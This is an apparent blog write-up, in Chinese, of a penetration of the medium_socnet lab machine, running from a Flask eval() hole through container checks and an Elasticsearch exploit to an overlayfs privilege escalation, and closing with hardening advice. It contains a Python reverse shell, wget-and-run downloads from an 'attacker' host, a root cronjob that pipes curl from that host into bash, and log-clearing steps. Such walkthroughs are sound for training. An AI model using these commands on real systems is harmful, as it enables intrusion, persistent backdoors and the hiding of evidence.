从Docker逃逸到内网漫游:一次完整的medium_socnet靶机渗透实战复盘

张开发
2026/4/13 9:42:20 15 分钟阅读

分享文章

从Docker逃逸到内网漫游:一次完整的medium_socnet靶机渗透实战复盘
从Docker逃逸到内网漫游一次完整的medium_socnet靶机渗透实战复盘在渗透测试的世界里最令人兴奋的莫过于从看似无解的困境中找到突破口。想象一下你通过精心设计的攻击链成功获取了目标系统的shell访问却发现自己被困在一个Docker容器中——这就像闯入了敌人的城堡却发现自己被锁在地下室。本文将带你亲历一次真实的渗透测试历程从最初的Web漏洞利用到发现身处容器环境再到突破容器限制实现内网漫游最终完成权限提升的全过程。这次实战基于medium_socnet靶机环境这是一个专门设计用于模拟企业内网环境的训练平台。与基础打靶不同我们将重点关注破局思维——当标准攻击路径受阻时如何通过非常规手段打开新局面。无论你是准备OSCP认证的安全爱好者还是希望提升实战能力的红队成员这次完整的渗透链条解析都将为你提供宝贵的思路和技巧。1. 初始立足Web漏洞的发现与利用任何伟大的渗透都始于一个看似微不足道的入口点。在medium_socnet靶机环境中我们的侦察阶段发现了以下关键信息开放端口22(SSH)、5000(HTTP)Web服务框架Python Flask初步扫描结果nmap -p22,5000 -sV 192.168.174.133 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)目录爆破揭示了隐藏的管理后台路径而这里正是整个渗透链条的起点。通过分析页面源代码我们发现了一个危险的代码执行点# 伪代码示例展示漏洞原理 app.route(/execute) def execute_code(): user_input request.args.get(command) return eval(user_input) # 高危操作利用这个漏洞我们构造了Python反向shell代码成功在攻击机上获得了会话连接import socket,os,pty ssocket.socket() s.connect((192.168.174.128,6666)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn(/bin/bash)提示现代Web应用通常会过滤特殊字符实际环境中可能需要尝试多种编码方式和绕过技术2. 认清处境容器环境的识别与验证获得shell后敏锐的环境感知能力至关重要。以下几个关键迹象表明我们可能身处容器环境文件系统特征/.dockerenv文件存在/proc/1/cgroup显示docker相关信息典型目录结构差异如缺少常规系统服务网络配置异常使用ip a命令显示的IP地址属于Docker默认网段(172.17.0.0/16)路由表显示有限的路由条目验证命令示例# 检查容器标志文件 ls -la /.dockerenv # 查看cgroup信息 cat /proc/1/cgroup # 检查网络配置 ip a | grep inet.*172.17通过简单的网络探测我们绘制出当前容器环境的拓扑结构IP地址角色开放端口172.17.0.1宿主机网关22, 3306172.17.0.2数据库容器9200(Elastic)172.17.0.3当前所在容器50003. 突破牢笼容器逃逸的多种路径探索意识到身处容器后我们系统性地评估了可能的逃逸路径3.1 内核漏洞利用检查内核版本显示存在潜在漏洞uname -a Linux 4.15.0-112-generic #113-Ubuntu SMP x86_64已知该版本存在多个容器逃逸漏洞如CVE-2022-0185但在当前环境中利用失败。3.2 Docker Socket逃逸检查发现/var/run/docker.sock未挂载到容器内此路径不可行。3.3 特权容器检测通过检查Capabilities判断容器权限cat /proc/self/status | grep CapEff CapEff: 00000000a80425fb关键能力缺失表明这不是特权容器。3.4 最终解决方案内网穿透建立持久通道当直接逃逸不可行时我们转向内网穿透方案选择代理工具经过对比测试选用Venom作为穿透工具建立双向通道攻击机启动监听./admin_linux_x64 -lport 9999目标容器下载客户端wget http://attacker/agent_linux_x64连接反向代理./agent_linux_x64 -rhost attacker_ip -rport 9999配置socks代理goto 1 socks 1080本地代理配置/etc/proxychains.confsocks5 127.0.0.1 10804. 内网纵横横向移动与权限提升有了稳定的内网通道后我们开始系统性地探索整个网络环境。4.1 服务发现与漏洞利用使用代理增强的nmap扫描发现关键服务proxychains nmap -Pn -sT -sV 172.17.0.2Elasticsearch服务暴露了未授权访问漏洞通过公开的利用脚本成功获取shellproxychains python2 CVE-2015-1427.py 172.17.0.24.2 凭证收集与破解在数据库容器中发现密码哈希find / -name *password* 2/dev/null使用在线破解平台成功还原明文密码为后续SSH登录奠定基础。4.3 权限提升的艺术通过SSH登录目标主机后我们面临最后的挑战——从普通用户到root权限。系统审计显示内核版本Linux 3.13.0-32-genericSUID程序/bin/ping, /usr/bin/pkexec可写目录/tmp, /var/tmp利用经典的overlayfs漏洞CVE-2015-1328完成提权# 攻击机编译exp gcc ofs.c -o exp # 目标机执行 wget http://attacker/exp chmod x exp ./exp注意内核漏洞利用存在风险实际环境中可能导致系统崩溃建议在测试环境验证稳定性5. 痕迹清理与持久化可选在合规的渗透测试中清理痕迹同样重要。我们采取了以下措施日志清理清除相关auth.log条目清理web访问日志后门部署根据测试范围决定添加SSH authorized_keys创建隐蔽的cronjob# 示例隐蔽后门 echo */5 * * * * curl http://attacker/c2.sh | bash /var/spool/cron/crontabs/root6. 防御视角从攻击中学习防护作为负责任的渗透测试者我们不仅要会攻击更要理解如何防御容器安全加固建议使用最小化基础镜像限制容器Capabilities定期更新内核和容器运行时监控异常网络连接内网防护策略实施严格的网络分段关键服务设置双因素认证部署IDS/IPS系统监测横向移动这次medium_socnet靶机渗透之旅最宝贵的收获不是那些具体的命令和工具而是面对复杂环境时的系统性思维——当一条路走不通时如何快速评估备选方案如何将零散的信息拼凑成完整的攻击面。真正的渗透测试就像下棋需要同时考虑眼前的一步和后续的三步。

更多文章